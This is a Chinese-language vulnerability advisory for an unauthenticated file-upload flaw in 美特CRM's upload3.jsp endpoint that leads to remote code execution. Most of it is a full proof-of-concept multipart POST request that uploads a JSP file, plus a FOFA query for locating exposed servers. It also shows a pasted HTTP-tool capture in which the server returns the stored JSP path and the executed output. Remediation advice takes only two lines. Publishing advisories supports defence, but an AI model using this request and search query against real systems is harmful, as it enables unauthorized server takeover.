

美特CRM commonjspupload3.jsp 文件上传致RCE漏洞

漏洞描述

美特CRM commonjspupload3.jsp 文件上传致RCE漏洞，未授权攻击者可直接获取系统权限导致系统失陷。

影响版本

美特CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/common/scripts/basic.js"

POC/EXP:

```
POST /common/jsp/upload3.jsp?
key=file&form=formdata&field=attach_name_1&filetitle=attach_title_1&folder=null&r
elativepath=null&%3E HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=----
geckoformboundaryc4e5992e491182d9864532ef66356073
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept-Encoding: gzip, deflate
```

```
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="file"; filename="cs.jsp"
Content-Type: application/octet-stream

<% out.println("hello,test");%>
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="key"

file
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="form"

formdata
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="field"

attach_name_1
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="filetitle"

attach_title_1
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="filefolder"

null
-----geckoformboundaryc4e5992e491182d9864532ef66356073
Content-Disposition: form-data; name="relativepath"

null
-----geckoformboundaryc4e5992e491182d9864532ef66356073--
```

发送请求

强制 HTTPS ☐

历史

爆破示例

生成 Yaml

Request

数据扫描

美化

热加载

构造请求

1

POST /common/jsp/upload3.jsp?key=file&form=formdata&field=attach_name_1&filetitle=attach_title_1&folder=null&relativepath=null&3E HTTP/1.1

2

Host : 127.0.0.1:8000

3

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

5

Content-Type: multipart/form-data; boundary=---geckoformboundaryc4e5992e491182d9864532ef66356073

6

Upgrade-Insecure-Requests: 1

7

Priority: u=0,i

8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

9

Accept-Encoding: gzip, deflate

10

11

-----geckoformboundaryc4e5992e491182d9864532ef66356073

12

Content-Disposition: form-data; name="file"; filename="cs.jsp"

13

Content-Type: application/octet-stream

14

15

<% out.println("hello,test");%>

16

-----geckoformboundaryc4e5992e491182d9864532ef66356073

17

Content-Disposition: form-data; name="key"

18

19

file

20

-----geckoformboundaryc4e5992e491182d9864532ef66356073

21

Content-Disposition: form-data; name="form"

22

23

formdata

24

-----geckoformboundaryc4e5992e491182d9864532ef66356073

25

Content-Disposition: form-data; name="field"

26

27

attach_name_1

28

-----geckoformboundaryc4e5992e491182d9864532ef66356073

Responses

1244bytes / 60ms

美化

渲染

编码

详情

20

<link rel="stylesheet" type="text/css" href="/common/css/classic.css"></link>

21

<script language="JavaScript" src="/common/scripts/resource.js"></script>

22

<script language="JavaScript" src="/common/scripts/file.js"></script>

23

</head>

24

<body>

25

<script language="javascript">

26

<!--

27

+ var parentKey="file";

28

+ var parentForm="formdata";

29

+ var parentField="attach_name_1";

30

+ var parentFillTitle="attach_title_1";

31

+ var parentCorpName="";

32

+ var parentFolder="null"

33

+ var parentPath="null";

34

+ if (31<=0 || 1<=0) {

35

+ | initurl(parentKey,parentForm,parentField,

36

+ | parentFillTitle,parentFolder,parentPath);

37

+ }

38

+ } else {

39

+ | var oForm=window.parent.document.forms[parentForm];

40

+ | oForm.elements["attach_name_1"].value="0033cbaed2cd43099c27f0246d30bbba.jsp";

41

+ | oForm.elements["attach_title_1"].value="cs.jsp";

42

+ | //alert(oForm.elements["attach_title_1"].value);

43

+ | var obj=parent.document.getElementById(parentPath);

44

+ | {

45

+ | | obj.setAttribute('src','/userfile/default/temp_0033cbaed2cd43099c27f0246d30bbba.jsp');

46

+ | }

47

+ | javascript:closeMe();

hello,test

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本